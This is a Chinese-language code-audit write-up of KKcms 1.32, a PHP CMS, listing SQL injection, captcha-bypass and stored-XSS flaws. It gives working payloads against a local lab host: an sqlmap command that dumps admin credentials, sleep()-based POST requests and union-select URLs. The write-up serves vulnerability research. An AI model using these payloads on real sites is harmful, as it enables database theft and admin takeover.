KKcms 1.32 代码审计过程
KKcms 1.32 代码审计过程
目录
- KKcms 1.32 代码审计过程
- 源码搭建
- 入口文件分析
- 1. bplay.php play 参数存在 Sql注入漏洞
- 2. ucenter/reg.php name参数存在 Sql注入漏洞
- 3. ucenter/active.php verify 参数存在Sql注入漏洞
- 4. ucenter/repass.php name 参数存在 Sql注入漏洞
- 5. wap/login.php name 参数存在 Sql 注入漏洞
- 6. admin/cms_login.php 验证码绕过漏洞
- 7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞
- 8. admin/cms_admin_edit.php
- 9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞
- 10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞
- 11. admin/cms_ad_edit.php 存在存储型xss漏洞
- 12.admin/cms_usergroup.php 存在存储型XSS漏洞
源码搭建
源码下载:https://github.com/erichuang2015/kkcms
- php 5.6.9
- MySQL5.7.26
将目录下的所有文件移动到网站根目录下,打开 http://localhost/install/ ,填写数据库信息,安装成功默认后面账号密码


入口文件分析
分析index.php,开始包含了 system/inc.php 文件

找到文件声明,inc.php 共包含了4个文件,其中有数据库连接、内容过滤、函数、配置文件等。

挨个文件分析,首先分析 conn.php
- 设置 error_reporting 错误级别
- ob_start() 打开缓冲流
- 启动session
- 设置常量
PCFINAL内容为true - 设置时区
- 设置编码为
utf-8 - 包含
data.php文件 - 调用
mysql_connect进行数据库连接 - 设置数据库编码为
utf8

分析 library.php 文件,首先判断 get_magic_quotes_gpc 是否开启,如果没有开启,则调用 addslashes_deep 函数进行对$_GET\
$_POST\$_COOKIE\$_REQUEST传输方法进行addslashes()转译

继续回到 index.php,往下5-8行,判断./install/index.lock 是否存在,如果不存在则跳转 install

在继续往下,就是获取https://www.360kan.com/主页html代码,然后通过$szz 匹配规则获取信息,存入$sarr数组中,剩下包含的文件基本都是去360kan上获取信息进行显示到页面上

1. bplay.php play 参数存在 Sql注入漏洞
既然传输进行 addslashes函数转译了,而且数据库也不是GBK编码,有单双引号闭合的情况下就不会出现宽字节注入了。那么找注入的话只能找一些没有进行闭合的注入点。
分析 bplay.php 文件,一个很明显的一个 play 参数直接拼接到 Sql 中执行

sqlmap -u "http://192.168.1.7:89/bplay.php?play=1*" -D kkcms -T xtcms_manager -C m_name,m_password --dump

2. ucenter/reg.php name参数存在 Sql注入漏洞
除了一些没有闭合的注入以外,还能找一些调用stripslashes()函数进行删除反斜杠的漏洞点
- stripslashes() 函数删除由addslashes() 函数添加的反斜杠。

POST /ucenter/reg.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 34submit=1&name=admin' and sleep(3)#

3. ucenter/active.php verify 参数存在Sql注入漏洞

/ucenter/active.php?verify=-1'+or+1=2%23

/ucenter/active.php?verify=-1'+or+1=1%23

4. ucenter/repass.php name 参数存在 Sql注入漏洞

POST /ucenter/repass.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 36submit=1&name=admin' and sleep(6)%23

5. wap/login.php name 参数存在 Sql 注入漏洞

POST /wap/login.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 33reg=1&name=admin' and sleep(3)%23

6. admin/cms_login.php 验证码绕过漏洞
只要删除session和提交的验证码参数,两者都为空,则就不会进入if判断

7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞
没有闭合直接带入 id 到sql中执行

/admin/cms_ad_edit.php?id=1%20union%20select%201,user(),3,version(),5,6,7,8%20%23

在后台还有多个这类的注入,接只演示几个路径即可
admin/cms_youlian_edit.php
admin/cms_usergroup_edit.php
admin/cms_usercard_edit.php
admin/cms_user_edit.php
admin/cms_slideshow_edit.php
admin/cms_player_edit.php
admin/cms_nav_edit.php
admin/cms_link_edit.php
admin/cms_detail_edit.php
admin/cms_channel_edit.php
admin/cms_book_edit.php
admin/cms_admin_edit.php
admin/cms_ad_edit.php
8. admin/cms_admin_edit.php
admin/cms_admin_edit.php?id=-1 union select 1,user(),3,4,5,6,7,8,9

9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞
/admin/cms_book_edit.php?id=-1%20union%20select%201,user(),3,4,5

10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞

/admin/cms_usergroup_edit.php?id=-2%20union%20select%201,user(),3,4,5,6

11. admin/cms_ad_edit.php 存在存储型xss漏洞
虽然插入时进行了addslashes函数过滤,但很多参数都是存入存入数据库时没有进行 htmlspecialchars 实体化,输出是没有进行实体化。
广告位置功能可以看到 name 直接 select 查询表中数据出来显示在页面上




12.admin/cms_usergroup.php 存在存储型XSS漏洞

提交


